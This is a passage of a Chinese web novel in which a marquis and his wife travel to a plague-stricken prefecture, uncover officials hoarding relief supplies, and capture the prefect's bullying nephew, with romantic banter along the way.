曲休干笑了两声,意识到自己好像是站错了立场,找补道:“我只是觉得,夫人愿意同侯爷去抚州没甚不好,这不就如同先侯夫人随先侯南征北战?”
“这如何能一样?阿音又不会武。”
“夫人不会武,抚州也不是战场啊,”曲休心直口快道:“曲休认为,夫人的能力、胆识不输先侯夫人,侯爷不该困住夫人。”
“困住?”
曲休立即抬手,装模装样地拍了拍嘴巴,“曲休肚里没墨,嘴笨,侯爷肯定知道曲休是何意思……”
这时郑平远大步而来,躬身恭敬问道:“侯爷,已经是午时正点,不如先回城内就餐,稍作歇息?”
齐司延摇头,“我已备了干粮,郑知府不必费心。”
郑平远不敢再劝,继续问道:“不知侯爷今晚可否赏脸,下榻寒舍?下官也好将与抚州灾疫相关,详细禀告侯爷。”
齐司延还是拒了,“本侯一会便出发前往抚州。”
该了解的,他已从杏林春的掌柜、城外难民、和郑平远这了解了。
不将源头的问题解决,难民只会源源不断。
齐司延开口道:“郑知府,本侯有几件事要交予你去办。”
郑平远上前一步,“侯爷尽管吩咐,下官定当竭尽全力,不负侯爷所托。”
另一边,江元音正在给一位浑身溃烂的大娘上药。
大娘悲苦的眼已挤不出眼泪,只是不住重复喃语着:“菩萨……活菩萨啊……”
“要是能早些遇着活菩萨你,他们……他们就不会死在临川了……”
江元音手中的动作没停,顺着大娘的话问道:“他们为什么死在了临川?”
她大抵能推测出,大娘口中的“他们”应当是她的亲人们。
而临川是抚州的府城,当是抚州物资、人力最集中的地方。
大娘的家人都死在了府城?
江元音紧声问道:“大娘是抚州临川人?”
抚州下辖六县,离源城最近的县城是“金溪”。
她一直以为这些难民都是从临近的金溪县逃荒过来的。
若是从府城临川逃过来的,那抚州岂不是人间炼狱?
大娘摇头,“我、我不是临川人,我是乐安县人……我家老三是最先得病的,他爹背着他去临川求医,却被活活打**……消息传来,我家老大和小叔气不过,前去讨要说法,也被活活打**……”
说道这,大娘那双凹陷干涸的眼,开始泛着泪光,“临川有那么多的郎中,却不管我们普通百姓的死活,我们才往周边逃命啊……”
“要是当初不去临川就好了,要是当初就逃出抚州就好了……”
“我儿,我儿……孩儿他爹啊……他小叔啊……”
大娘语无伦次地说着,江元音听得心情沉重,却又不知该如何安慰。
一时间,只觉得言语如此匮乏。
任何安慰的辞藻都消弭不了真实的苦难。
抚州,或许已经是人间炼狱。
帷帽下,江元音神色凝重,下意识地侧目,去寻齐司延的动静,瞟见他正和郑平远单独谈话。
一想到她单方面冷落无视了他一整个上午,他都没有松口,让她随他去抚州,她沉重的心情多了些烦闷。
她越发想知道,齐司延同郑平远在聊些什么。
是以,在二人聊完后,江元音找了个郑平远同衙役交谈的时机,走了过去。
郑平远见她走来,屏退了衙役,朝她俯身行了个礼,“夫人有何吩咐?”
江元音试探出声:“郑知府可有什么需要我杏林春相助的?”
“夫人能无偿布药看诊,已是帮了大忙了,”郑平远道:“侯爷同夫人忙活一上午,下官连顿像样的午饭都未能招待,夫人便要同侯爷前往抚州了,下官羞愧啊。”
他拱手作揖,“侯爷不许下官张扬相送,下官只能遥祝侯爷与夫人,一路顺
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风,诸事顺利了。”
江元音克制着情绪,微微颔首:“……多谢郑知府。”
她冷冷看向远处的齐司延,气得不行。
连郑平远都知道,他马上要启程出发去抚州,她却不知道!
她如此坚决地表态了一上午,辛苦了一上午,他还是不打算让她随他去抚州?
等到给所有的难民们上过了药,已过了午时。
大家满身疲惫地回了杏林春。
一直守在药铺没去城门外施粥布药的王掌柜,一听到声响便立即端着托盘迎上来:“东家、姑爷,诸位,赶紧喝一碗藿香、佩兰等药材熬制的汤药。”
不待王掌柜开始分发,齐司延便伸手主动拿了一碗,递给江元音。
这是这一天,他数不清第多少次,单方面向她“示好”。
曲休等人看似都在端碗喝药,实则余光一直落在两人身上。
观察着江元音会不会第不知道多少次地无视拒绝齐司延。
然而江元音这次没有再无视,而是接过齐司延递过来的药碗。
齐司延和旁观的众人一起松了口气。
江元音喝了药,终于破冰对齐司延开了口:“我们何时出发?”
齐司延不语,兀自伸手接过她的空碗,自己又去接了碗药。
众人:……
刚才缓和的气氛,又跌落谷底了。
好在这时王掌柜开口缓和气氛道:“谨慎起见,我还备了热水药浴,东家、姑爷,诸位赶紧用了药浴,换身干净衣服,免得染上病气啊。”
他们今日可是在难民堆里待了大半天呢。
大家实在不堪忍受江元音、齐司延之间的沉闷气氛,纷纷应声放下药碗,前去沐浴更衣。
江元音沐浴时,脑子里反复回荡着郑平远的话,再联想自己刚刚没得到的回答,一颗心惴惴不安。
齐司延该不会,真打算丢下她,偷偷走掉吧?
……她真的会生气!
江元音越想越心慌,匆匆忙忙沐浴完,穿上衣服,顶着一头湿漉漉的头发,直接抬步朝齐司延的沐浴的房间而去。
推门而入的时候,齐司延刚好沐浴完毕,穿好了衣服,讶然唤道:“阿音?”
他的目光落在她湿漉漉的长发上,皱眉道:“怎地不将头发擦干?当心着凉。”
他说着转身去取巾帕。
江元音快步上前,一把拉住他,一双杏眸,比长发更湿漉漉,小脸紧绷道:“侯爷可还记得那日,我们试婚服时,同我说过什么?”
齐司延长臂一伸,拿过干燥的巾帕,包裹住她湿漉漉的发,好声好气地问:“我说了什么?”
“侯爷说,我们也会同父亲、母亲一样,伉俪情深,是人人艳羡的神仙眷侣,”江元音一瞬不眨地望着他,“比起被侯爷护在身后,我更想站在侯爷身侧,同侯爷共进退。”
“一如母亲同父亲那般。”
第168章 想死直说,废话真多
齐司延耐心地给江元音擦拭头发,脑海里都是曲休那句“侯爷不该困住夫人”。
沉默的间隙,江元音想了很多。
如果说到这个份上,齐司延还是不同意,那她就不强求了。
要去抚州的方式有很多种,并不是非得同他一路。
两人安静对视,齐司延的动作未停,良久后薄唇张了张:“对不起,是我狭隘自私了。”
江元音直直看他,“那侯爷会改吗?”
“会,”齐司延停手,隔着巾帕捧着她的脸,郑重道:“阿音,我们一起去抚州。”
终于听到了想要的答案,江元音心满意足地倾身依偎入他怀里,任由他给自己擦拭湿漉漉的发。
曲休沐浴休整完毕,见房门是开的,便直接迈了进来,“侯爷,可以出发了……”
猝不及防看到闹了一整日别扭的夫妇俩,此刻在他眼前甜蜜相拥,他一时惊诧,心里话竟脱口而出:“侯爷夫人是一起沐浴的?”
语罢,不待夫妇二人反应,他自觉失言,熟练地抬手打嘴,连声认错:“属下多嘴,多嘴!”
他谨记着“非礼勿视”的别开眼,清了清嗓子又道:“马车已备好,侯爷、夫人收整好了,随时能出发。”
他说完退出了房间,走了几步余光瞟见了雪燕与清秋,见两人探头探脑唤着“夫人”,他扬声道:“这边这边,夫人在侯爷这沐浴呢。”
听着雪燕、清秋寻来的脚步声,江元音忙从齐司延怀里离开,站直身子,拉开两人的距离。
下一瞬,又被齐司延按回了怀里,理直气壮道:“这样更方便给你擦头发。”
“还是让雪燕和清秋来吧……”
“我来,”齐司延很坚持,“你已经大半日不曾搭理我了。”
他很珍惜此刻的温存,更不觉得夫妻二人之间的亲密,有何不可示人。
……是曲休大惊小怪。
一番思索,江元音最终将雪燕、清秋留在了源城。
抚州的情况有多恶劣可想而知,要不曝露身份,随行不宜多。
而源城“杏林春”药铺的人手又不够,雪燕和清秋可以留下来搭把手。
两人完全没想过要和江元音分开,既不舍又担心没人侍候照顾江元音。
江元音安抚承诺道:“待解决了抚州的事,我再与你们汇合。”
她故意鼓励道:“不带你们去,不是觉得你们是累赘,而是有大事要交予你们做,我分身乏术,你们留在这帮我盯着王掌柜,打响杏林春的名号。”
两人红着眼眶,点头应声:“夫人放心,我们定不会让夫人失望!”
说完,两人默契地抓住青鸢、沉月的手,连声叮嘱:“你们可一定要保护好夫人啊!”
青鸢、沉月:“保护夫人是我们职责所在,你们不必担心。”
主仆三人一阵惜别,江元音才上了马车。
这一回少了两个人,马车却被塞得满满当当。
王掌柜打包了不少药材,和防疫的药包,还熬好了防疫的汤药,嘱咐他们在进入抚州地界时,每人一定要喝上一碗。
郑平远则派人送来了不少干粮和一堆防护面具,并百般保证,自己一定会携手杏林春,日日去城外施粥布药,救济难民。
因为急着赶路,众人的头发其实都还未曾干透。
情况紧急,也顾不得这些。
披头散发不合适,大家只是粗略地簪了发,好让湿发能快些干透。
上了马车,江元音拿出玉梳,替齐司延梳发。
他头发亦未干透,放在掌心,青丝似沾了露水般的凉。
江元音边梳边开口问道:“侯爷不是说要低调出行,为何向郑知府亮明身份,不怕打草惊蛇?”
他亮明身份时她便想问的,只是当时还和他堵着气。
齐司延徐声道:“抚州下辖六县,与六县相邻的有三城,阿音以为我为何会选在源城歇息一日,再前往抚州?”
“侯爷认为,郑知府不可能是许家的党羽?”
“不是认为,是笃定,”齐司延淡声解释道:“我们南下途经的每座城,都避开了与许家相关的关系网,每座歇脚的城,都是我出发前便定好的。”
江元音有些许惊讶,“侯爷远在汴京,对江南的势力划分,如此了解?”
“不然阿音以为我这一年,便是日日在侯府装瞎扮聋吗?”齐司延笑了笑,“我自是已做足了准备,才‘病愈’示人。”
齐司延不卖关子,告知道:“郑平远出身寒门,祖辈务农,到他这一辈才入了仕途,是入不了世家的眼的,何况他和抚州知府周世恒积怨已久,而周世恒已是许家的人。”
江元音了然。
其实从源城一开始接纳了难民,也有送粮送药,乃至于派郎中、人手去往抚州支援,上书几封奏明疫情,便能看出郑平远并非欺凌百姓、鱼肉乡里的狗官。
但他也不是不畏生死要与强权硬碰的之辈,被许昌安警告后,便停止了掺和抚州灾疫的事。
他只想力所能及地护住自己这一方百姓,亦没有错。
如今得了齐司延的命令,想来他“腰杆”能硬挺些,会妥善安置城外的难民。
谈话间齐司延伸手拔掉了江元音束发的玉簪,让她长发披散,更方便晾干。
随即拿过她手中的玉梳,又变成了他替她梳。
江元音抬手摸了摸他的发,“可侯爷的头发也未干。”
“无妨,我还不困,你昨夜未睡,又忙了大半日,发丝干了,才好入睡补眠。”
齐司延告知道:“我们不会在任何小县逗留,得直接赶去抚州府城临川,怕是要坐上一夜的车,待你头发干了,你好生睡一觉补眠。”
现在刚过了申时不久,要到临川得穿过金溪县和乐安县,一刻不停地赶路,怕也要到明日清晨才能到了。
江元音会意点头,她心中的疑惑都得到了解答,如齐司延所言,她的确一夜未眠,先前神经紧绷,倒不觉得困,现下松懈下来,只觉得困倦得紧。
她等不及头发完全干透,懒洋洋地顺势趴伏在他的双膝上。
齐司延垂眼,视野里是她如瀑的青丝,他的动作越发轻柔,缱绻为其梳发,
玉梳一下又一下,他脑海里都是那首诗。
——宿
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昔不梳头,丝发披两肩。
——婉伸郎膝上,何处不可怜。
朦朦胧胧中,江元音觉得他的动作一直未停,轻柔而有耐心地替她梳发晾发。
也不知道过去了多久,当是她的头发终于干透了,他将她整个人抱上软榻,给她换了个舒适的睡姿。
被他的气息笼罩,她在颠簸中,安然睡去。
不知道过去了多久,江元音是被马车外的打斗声吵醒的。
她睁眼起身,“怎么了侯爷?”
齐司延还在凝神听马车外的动静,温声回道:“似是碰到了**的恶民。”
“**的恶民?”江元音霎时清醒,连声问道:“什么时辰了?我们到何处了?”
抚州处处灾疫,有人趁乱**倒是不奇怪。
齐司延回道:“快到子时了,刚过金溪县,要到乐安县了。”
江元音有些许惊讶。
这个时辰,**不用歇息?是怎么发现他们的?
恰巧这时马车外有男人的声音传来,解开了她的疑惑:“先前听人来报,说有一大马车入了抚州,小爷还不信呢,现在抚州啥情况外界不知?还有人不知死活往里送呢!”
江元音听这声音,中气十足,完全不似她先前见过的那些难民。
没有半分食不果腹又病仄仄的无力。
她忍不住稍稍掀了掀一侧的车窗帘,为首的男子二十五六的年纪,骑在高大的马匹上,看起来也是矮圆短粗,他手下高举着火把,照亮了他的肥头肥脑。
看他穿着,不似流寇土匪,倒像是某地主家,不学无术的蠢笨公子。
他看起来和她想象中的趁乱**,在灾疫中勉强过活的**大相径庭。
马车外,骑马随行的曲休扬声道:“我家主子南下行商,正要赶往临川,途经乐安县,还请公子让路。”
“哈哈哈哈——”男子猖狂一笑,“行,你们把马车留下,小爷不拦你们,能不能躲过疫病,活着走到临川,就看你们有没有那个命了!”
“这六县已经没有半点值钱玩意了,好不容易蹲了条大鱼,兄弟们,今晚——啊!”
声音戛然而止,变成落地的惨叫与沉闷的坠地声。
曲休飞身而起,一脚将其踹下了马背,拔剑直指其脖颈,冷声道:“想死直说,废话真多。”
这时男子的手下反应过来,开始恶声恶气地叫嚷。
“哪来的王八蛋,敢对我家少爷动手!”
“你们要去府城临川也不打听打听,抚州是谁家的地盘!”
“我们少爷可是抚州知府大人的亲侄子!”
“敢伤我家少爷一根毛发,我看这临川的城门,你怎么进得去!”
他们喊完口号,也不见曲休屁滚尿流的认错道歉,在听到男子愤怒喊着“废物,动手啊”后,不得不上前交战。
准确的说,是单方面被打。
不过三两下,青鸢、沉月等人就将这堆人制服,踩在脚下了。
齐司延掀开了车窗帘,冷眼斜瞟地上的男子,淡声道:“普天之下莫非王土,一个小小的知府,也敢圈地为王,你周家是想谋反不成?”
第169章 不做夫妻,当兄妹
周世恒的侄子周康飞仍不服气,五短的身材被曲休踩在脚下仍在叫嚣:“他奶奶的,**一个商贾,敢这般嚣张?这抚州就是……”
声音再次戛然而止。
因为曲休实在忍不了,朝他的脑袋直接挥了一剑鞘,力道不轻,他昏了过去。
曲休尴尬侧头看向马车内的齐司延,找补道:“主子,没死,但昏过去了。”
齐司延掀了掀眼皮,下巴轻点那些小喽啰,吩咐道:“去问清楚。”
“是,主子。”
马车外,是曲休等人拳脚伺候的盘问声与小喽啰们的求饶声。
马车内,齐司延温声询问江元音:“吵醒你了?”
他理了理软榻上的软枕,“没事了,接着睡?”
江元音就是再困,也没法听着外头的声响动静入睡,何况她此刻完全清醒了。
于是她摇摇头,认真倾听着车外的盘问。
听了个三两句后,便摸清楚来龙去脉了。
抚州有了灾疫后,周康飞不仅没想过要救济六县的百姓,更是仗着自己是知府周世恒的亲侄子,在六县搜刮抢夺。
不仅于此,他将途经抚州地界,或是前往抚州支援的物资,通通拦截,占为己有。
江元音脑海里回想起那些个难民们干瘦的脸,再想想周康飞那肥腻流油的脸,心里直冒火。
他把用于百姓的物资全部占为己有,在这样严重的灾疫下,把自己养得健康白胖,这不就是在喝人血,**肉?
未多久,曲休走至车窗前,同齐司延禀告盘问所得。
他低声请示:“主子,如何处置他们?”
齐司延淡声道:“绑起来,随我们一道去临川。”
“是,主子。”
那群小喽啰听说是要去临川,根本不反抗,一个个配合得很,巴不得马上就到临川。
到了临川可就是他们的地盘了,看他们少爷怎么收拾他们!
曲休把周康飞绑起来,抬上自己的马背。
进行到一半,周康飞醒了,神志不清,张嘴便骂:“他奶奶的,哪个兔崽子……”
曲休熟稔地一掌劈下,再次给他止了声。
短暂的意外结束,队伍壮大,一行人“热热闹闹”重新赶路。
江元音已没了睡意,索性和齐司延讨论起来:“侯爷是打算绑了他们去跟周世恒兴师问罪?那不是一入临川便要曝露身份?”
“且‘收留’他们几日,待摸清楚了临川内的情况,搜集了所有的罪证,再一道同周世恒、许昌安算账。”
“可不亮明身份,绑着他们,怕是入不了临川吧?”
周康飞目无王法,在六县抢掠作恶,即便不是周世恒授意,周世恒也一定知情吧?
以周康飞高调作恶的程度,那些个守卫一定能认出他。
他们绑了周康飞,不亮明身份,怕是在城门口就会被攻击。
齐司延否认道:“待到了城门口,自然不必绑着他们了。”
他显然已经有了计划,道:“我们可以以周康飞的‘战利品’的身份入城,更省得被查身份,打草惊蛇了。”
把周康飞等人绑起来,可不仅仅是为了收拾他,而是利用他当障眼法。
既然周康飞在六县抢夺已是常态,经常劫持物资、车马,他们正好借着这个由头,进入临川。
江元音赞赏道:“侯爷好谋划。”
齐司延很喜欢看她眸光闪闪地望着自己,唇角微微上扬,开口道:“你既不困,我想同你商量商量。”
“商量什么?”
齐司延问道:“‘杏林春’药铺是江家产业这事,在江南是人尽皆知吗?”
江元音摇头,“江家的主业是茶楼酒肆,名下不乏脂粉衣裳、器皿等铺子,而药铺不过是江家众多产业中最末端且不受重视的一类。”
“在江兴德为了权贵梦,将万贯家财上交国库前,‘杏林春’这样营收平平的药铺,是入不了江兴德的眼的,对外自然没怎么提过,才会在我出嫁前一开口,便大度地给了我。”
江元音一番揣测分析后,兀自开口道:“侯爷不必担心,‘杏林春’药铺会曝露我们的身份,旁人并不知晓‘杏林春’药铺如今是定宁侯之妻名下的铺子。”
齐司延表示了然地颔首,接着问道:“那阿音可否将‘杏林春’药铺东家的身份先借予我一用?”
江元音善解人意地应了。
齐司延要低调行事查案,用“杏林春”药铺东家的身份会便利很多。
“还有一事,”齐司延又道:“许昌平在临川,不管我亮不亮明身份,何时亮明身份,谨慎起见,你我不能再以夫妻关系示人。”
和江元音一道去临川,是他计划外的事。
他既不能让李彦成察觉他与江元音是“假和离”,又不能让国公府的人发现江元音的行踪。
“明白,”江元音思索了下,主动提议道:“那入了临川,我同侯爷换成主仆关系如何?我给侯爷当一阵丫鬟吧。”
反正他从前“又聋又瞎又瘸”的时候,她也没少侍候他。
“不妥,”齐司延不赞同,“我怕不知情的人看轻你、使唤你。”
江元音觉得他委实是多虑了,旁人看轻她是有可能,但使唤她当无可能吧?
谁会闲得没事使唤别人的丫鬟?
可江元音没在这个问题上多纠结,脑子转了转,又问:“那兄妹?”
齐司延看着她,不语。
江元音也不知他是同意还是不同意,无奈道:“侯爷,不当主仆的话,不做夫妻,除了兄妹怕是没其他合适的关系了。”
“有道理,”齐司延墨眸幽深地望着她,沉声道:“那阿音唤声‘兄长’来听听?”
江元音没有多想,尝试着出声唤道:“阿兄。”
她唤得也有些别扭,这两个字实在陌生,活了两辈子,还是第一回这样唤人。
“嗯,”齐司延眸色深了几许,摸了摸她的头,眸光宠溺却又炙热,“乖阿音。”
江元音被他盯得心里发毛,嗔了他一眼,没好气道:“侯爷收敛些吧,会用这种眼神
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看妹妹的阿兄,都是禽兽。”
齐司延长臂一伸,揽她入怀,理直气壮道:“无碍,我是假兄长真夫君。”
江元音无语地戳他胸口。
……脸皮甚厚。
车内一片浓情蜜意,车外马背上的周康飞颠着颠着,被颠醒了。
策马的曲休察觉到,垂首正要再给他一下,他自己吓昏过去了。
过了卯时,终于快出乐安县,要到临川的城门了。
一行人停住,曲休下马走至马车,请示齐司延。
齐司延开口道:“不必出示通关文牒了,给周康飞松绑,让他领我们入城。”
曲休应声,再次翻身上马。
周康飞在马背上颠簸了一夜,不是自己吓昏,就是被曲休一掌劈晕,是半点嚣张气焰都没了,开口求饶道:“我错了成不?你们放了我,我保证在抚州境内,再没有人敢找你们麻烦!”
“真的,遇着事了,你们报我名声便是!”
曲休强忍着打昏他的冲动,给他松了捆绑他的绳子,言简意赅道:“想活就带我们进入临川。”
周康飞有些怀疑自己的耳朵,同曲休确认道:“只要带你们进了临川,你们就放了我?”
曲休点头,剑鞘却直接抵住周康飞肥硕的后腰,警告道:“你要是敢在城门口的守卫面前耍什么花招,就看是他们反应快,还是我的剑快了。”
“不敢不敢,”周康飞连声应着,黄豆般的眼望向远处的城门,眼底都是愚蠢的凶狠,道:“我一定将你们带入临川。”
他巴不得把他们带进去呢!
他此次行动最大的失误,是没料到一个商贾,竟雇了这么多的高手随身保护!
前边在城外,他人手不够,打不过他们,他认栽。
待进了临川,那可真就是到了他周家的地盘了,还怕他们?
届时他一定好好收拾他们,让他们一个个跪下来,喊他“爷爷”,再把他们通通绑在马背上,受受这被颠的滋味!
周康飞兀自沉浸在狠狠报复的幻想中,待行至城门口时,满脸都是情真意切的笑容,半点看不出被人挟持。
当然,城门口的守卫,一眼认出了周康飞后,也无暇端详打量他的神色,个个都低头行礼,遮住脸上微妙的神色:“见过周少爷!”
不满周康飞的愣神,曲休剑鞘死死往前一顶,示意其出声。
周康飞被这一顶,发出了意味不明的轻哼声,随即不耐朝他们摆摆手:“滚滚滚,快给爷让开,莫要挡路!”
守卫们听着那句暧昧的轻哼,将头垂得更低,头皮发麻。
抚州没灾疫时,周康飞就是临川远近闻名的恶霸,有了灾疫后,在附近六县**是常事。
守卫们只当他又是干了一票回来,纷纷让路。
直到车马入了城,他们才敢稍稍抬眼,朝周康飞看去。
这个角度,周康飞完全是被一个男人拥在怀里骑乘。
他们只觉得一阵恶寒。
……他大爷的,知府侄子都和男人搞上了?!
第170章 我上头还有人
天刚微微亮,临川城内一片寂静。
一入城,周康飞便换了一副嘴脸,正要大喊让守卫关门,来个瓮中捉鳖时,曲休的巴掌迟之必达。
他未能发出声响,便直接“倒”入曲休怀里。
而其余小喽啰也依次被打晕。
街道上空无一人,畅通无阻。
曲休按照江元音翻出来的地契上的药铺地址,很快寻到临川的“杏林春”药铺。
和在源城一样,在伙计开门后,江元音递出了青铜印信,很快掌柜便出来相迎。
临川“杏林春”药铺的掌柜姓李。
李掌柜一眼便看到了马背上的周康飞,但由于其是趴俯着的,他没看到脸,只当是和江元音一路的人,关切问出声:“可是这位郎君得了什么病症,快些……”
江元音摆摆手制止,“不必管他。”
李掌柜愣了下,不敢多问,将江元音等人领到后院。
到了后院后,江元音主动冲李掌柜介绍齐司延:“这是我兄长,我不便露面,你们便唤他东家,唤我……小姐吧。”
着实很久没听人唤过她“小姐”了,是以稍稍卡顿了下。
入了临川城内,她比在源城还要谨慎,两人既不打算以夫妻的关系示人,她便没戳破两人的真实关系,免得人多口杂,把齐司延的身份泄露出去。
毕竟外界虽并不清楚“杏林春”药铺是江家的产业,但各药铺的掌柜还是清楚自己的东家是高嫁了汴京定宁侯的江家嫡女江元音。
李掌柜没有多想,悉听尊便地点点头,改了称呼,重新唤了遍二人:“明白了,东家,小姐。”
他只当江元音现在是“侯夫人”,地位今非昔比,更何况在大昭女子抛头露面经商,本就容易遭人置喙,她隐藏身份理所当然。
至于这位“兄长”,他是没听闻过江家有这么大的公子少爷,只当是江家的亲戚了。
东家的事,他这个做工的,很有分寸地不去多问打听。
齐司延点点头,直入正题地了解情况道:“抚州灾疫,情况如何了?”
李掌柜做思索状,措辞严谨地回道:“若东家问的是府城临川,那便是无灾无疫,可若东家要问抚州六县的情况,或许刚入城的东家与小姐会比小的更清楚。”
“此话怎讲?”
李掌柜如实答道:“自从朝廷派来赈灾的钦差大人许大人到了临川,临川内的百姓无令便不得出城了,而外头的人也很难进来,除非是来送物资的。”
“城内有各地送来的物资,倒不受灾疫的影响,就是不知外边六县是什么情况了。”
江元音听到这,倏地回忆起她昨日帮忙上药的那位大娘。
大娘是乐安县人,说自己的孩子得了病,丈夫背其去临川求诊,却被活活打死。
之后其余孩子和亲戚去讨要说法,也一并被活活打死。
她全明白了。
许昌安和周世恒待在府城临川,所以要确保临川的安全。
他们拿着朝廷的赈灾库银,大批量地采购粮食、药材,却没分毫厘给六县的百姓。
他们统统占为己有,阻止六县百姓进入临川,用无数无辜百姓的尸骨,成就一个“无灾无疫”的临川。
真是朱门狗肉臭,路有冻死骨!
齐司延接着问道:“周知府或是许大人可有向‘杏林春’采购药材?”
“有的,”李掌柜点点头,顺势说道:“东家既问到这了,小的有一事想提前告知东家和小姐,免得东家和小姐到了年底责怪小的经营不善。”
江元音毫不意外地出声道:“他们以不到一成的价格收购了大批药材,对吗?”
“小姐怎知?”李掌柜讶然。
江元音没瞒着:“我们从源城过来,已了解过情况。”
齐司延出声道:“你把账本备份拿给我。”
李掌柜应声抬步去拿,走出屋子刚好看到曲休将周康飞等人悉数扔在后院地上,倒得歪七劣八。
这一回他看清楚了周康飞的脸,吓了一大跳:“啊……这,这……”
他哆嗦着回头看向齐司延同江元音,“这是知府大人的亲侄子,小姐、东家怎么把他绑了啊?他可是临川的恶霸,得罪了他没好果子吃……”
齐司延和江元音神色几乎一样,都是朝李掌柜掀了掀眼皮,波澜不惊,眸泛冷意。
齐司延冷声:“不是恶霸,绑他作何?”
李掌柜被他这不怒自威的一眼震慑到,一时没出声。
江元音语气倒是温和很多,浅笑道:“李掌柜莫慌,我们来临川除害来了。”
闻言,李掌柜后知后觉地想起,江元音可是侯夫人,的确没必要怕一个小小的知府侄子。
他稍稍冷静了些,赶忙去取账本了。
不到一刻钟,李掌柜去而复返。
江元音同齐司延翻看了账本,和源城“杏林春”药铺的基本一致。
将账本放在一旁,齐司延问道:“从源城药铺过来支援的郎中与伙计在何处?”
“源城药铺有派郎中和伙计过来支援?”李掌柜一头雾水,“这……东家确定吗?他们从未登门啊。”
齐司延面色里没半分惊讶,不多做解释,而是接着同其确认道:“临川没安排城内各药铺、医馆的郎中去六县义诊?”
“从未,”李掌柜回道:“正如先前所言,我们几乎出不了临川,何况药铺里也没剩下多少可用的药材,没法子去义诊的。”
齐司延听完后不再追问,吩咐道:“尽可能的腾几间空房出来,”他瞟了眼院外示意,“别将他们在这的消息泄露出去。”
李掌柜连连点头:“小的明白,小的什么也没看到。”
待李掌柜退出后,江元音面色沉重地看向齐司延,开口问道:“侯爷可知,从源城药铺过来援助的郎中、伙计们,是生是死?”
她了解他,他刚刚会突然问到他们,听到李掌柜的回答后,又半点不惊讶,想来心中早有答案。
“不好说,”齐司延没把话说死,“或许,等仔细盘问过周康飞,会有答案。”
他将账本收好,温声道:“待李掌柜收拾出空房,阿音先补觉休息。”
江元音扫了眼他手中的账本,不悦道:“侯爷又打算一个人忙活?”
她望向他略微泛青的下眼睑,缓和了语气,劝道:“侯爷也先小睡一会吧。”
她昨夜赶路好歹还睡了几个时辰,但每回睁眼时,他都是清醒的。
他才是最需要补觉休息的吧。
齐司延倒是没再坚持,淡笑道:“好,我们一起小睡一会,再一起起来忙活。”
又过了两刻钟,李掌柜收拾好了屋子,领着他们去厢房歇息。
药铺后院并不大,要不是因为药材大半被官府采购一空,临川又不准人进出,近来药铺根本没甚人问诊,把病人留诊的屋子闲置出来,一时之间还真腾不出多少间屋子来安置江元音一行人。
他把自己的厢房让了出来,搬去和伙计们挤一间屋,勉强算是安置好了。
李掌柜推开后院最干净亮堂的那一间厢房
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,侧身冲江元音做了请的姿势。
江元音迈了进去,齐司延随之跟上。
李掌柜忙拦了拦:“东家,这是小姐的房间,您的房间在那一头呢。”
他抬手往另一头指了指。
江元音恍然。
他们俩如今是“兄妹”,李掌柜自不可能给他们安排在一间屋子歇息。
看着齐司延抿唇不语的样子,她眉眼弯弯,格外乖巧地唤了声:“阿兄慢走。”
齐司延如鲠在喉,墨眸深深地盯着江元音。
……不一间房,怎么一起睡?
江元音却没半点犹豫,果断关上了门。
腻在一起太久,分开睡几日也挺好。
过了巳时正点,后院地窖。
齐司延静立着,面无表情地俯视着被揍得鼻青脸肿的周康飞等人。
周康飞万万没想到,入了临川,到了他周家的地盘,这群人竟越发嚣张。
他奶奶的,他这是遇上“黑吃黑”了?
醒来后,就是在这黑乎乎的地窖,他压根不知道是哪。
而面前的人,一句话不说,对他们拳脚相向,一通狠揍。
他搞不清他们绑他是什么目的,就因为他昨夜拦路**未遂,他们要将他活活打死泄愤吗?
这可是在临川!
从威胁到怒骂,再到求饶,面前的人无动于衷,只是一味揍他们。
曲休揍累了,从腰间掏出一包药粉,侧头询问旁观的齐司延:“主子,直接用药?”
周康飞吓得破音:“哥……有话好说啊哥……”
齐司延垂眼一扫。
“爷,大爷,你到底要什么?”周康飞跪地改口:“是钱吗?我有钱,你放了我,我给你钱,让你这辈子都不用再经商了!”
“哦?”齐司延好似来了兴趣,问道:“你一个知府的侄子,哪来的钱?靠你每日在六县**?”
“诶,那可不止,”周康飞本就只有黄豆大的眼睛,现在肿成一条缝,透出愚蠢的精明与自豪,“光**的那些哪够塞牙缝?那满仓采购来的粮食和药材才是大头!”
“等过一阵,大爷我把它们倒手卖了,那是一辈子都花不完的钱!”
曲休看不惯他这又得意起来的模样,抬脚一踹。
齐司延眼底一片冷意。
许昌安和周世恒算盘真是打得响亮,以赈灾救疫为名,用库银以不到一成的价格大批量购入药材、粮食,却分毫未用在百姓身上,再高价倒卖,不用成本,大赚一笔。
周康飞闷痛,颤颤巍巍亮出三根手指,“待倒手卖了,我分你们三成,求你们了,饶了我吧……”
齐司延故意道:“你撒谎吧,真要有这么多可以转卖的粮食与药材,临川的仓库放得下?”
“真的,绝对是真的,一两个月前我便从六县抓了不少青壮年,加上邻近城县派人援助的人马,没日没夜地建仓,用来存放这些粮草与药材……”
齐司延了然那些来抚州援助的人为何会一去不复返了。
他冲曲休道:“动手吧。”
“是,主子。”
周康飞五雷轰顶,大喊着:“四成,我给四成,不能再多了,我上头还有人呢,唔……”
曲休动作利落将手中的药粉塞到他嘴里。
他不得已咽下,一张嘴便吐了一地的血。
齐司延冷眼看他,道:“七日内不服用解药,你会吐血身亡。”
周康飞惶恐看他。
“我可没耐心等到你转卖成功后再来分我钱,我是商人,这笔买卖,我帮你做。”
第171章 没有舌头的人,能说清楚什么
江元音听完齐司延的转述,恍然大悟,将那大娘的经历也说与他听。
随后感慨出声:“所以源城药铺来抚州援助的郎中、伙计与那大娘的丈夫、儿子们,应该都没有死,而是被抓去做苦力建仓了?”
齐司延颔首,又谨慎地补了句:“但他们不一定还活着,似周康飞这类的恶霸**,定不会善待苦力。”
江元音了然。
便是能在这苛刻的剥削中侥幸活下来,待仓库建好后,等待他们的,也一定是终身的劳役或是**灭口。
现下不是伤春悲秋的时候,江元音压下了情绪,沉声道:“我们必须再快些行动,把这些无辜百姓救出来。”
抚州六县百姓,剩不了多少幸存者。
便是撒盐于沧海,也好过无动于衷,毕竟能救一个算一个。
说完,她忧心道:“侯爷此番低调入城,搜集证据的确方便,但要收拾许昌安和周世恒就难了。”
这里是临川,的确是天高皇帝远,就算齐司延亮明身份又如何?
便是曲休、沉月、青鸢等人是绝世高手,也是寡不敌众。
以卵击石,他们恐怕难以全身而退。
齐司延安抚出声:“无妨,我们只需再等上六七日。”
江元音眸色亮了亮:“侯爷已有对策?”
齐司延轻“嗯”了声,徐声道:“离开源城前,我已将李彦成的圣谕和信物交予郑平远,让他快马加鞭交予豫章郡郡守陆迟。”
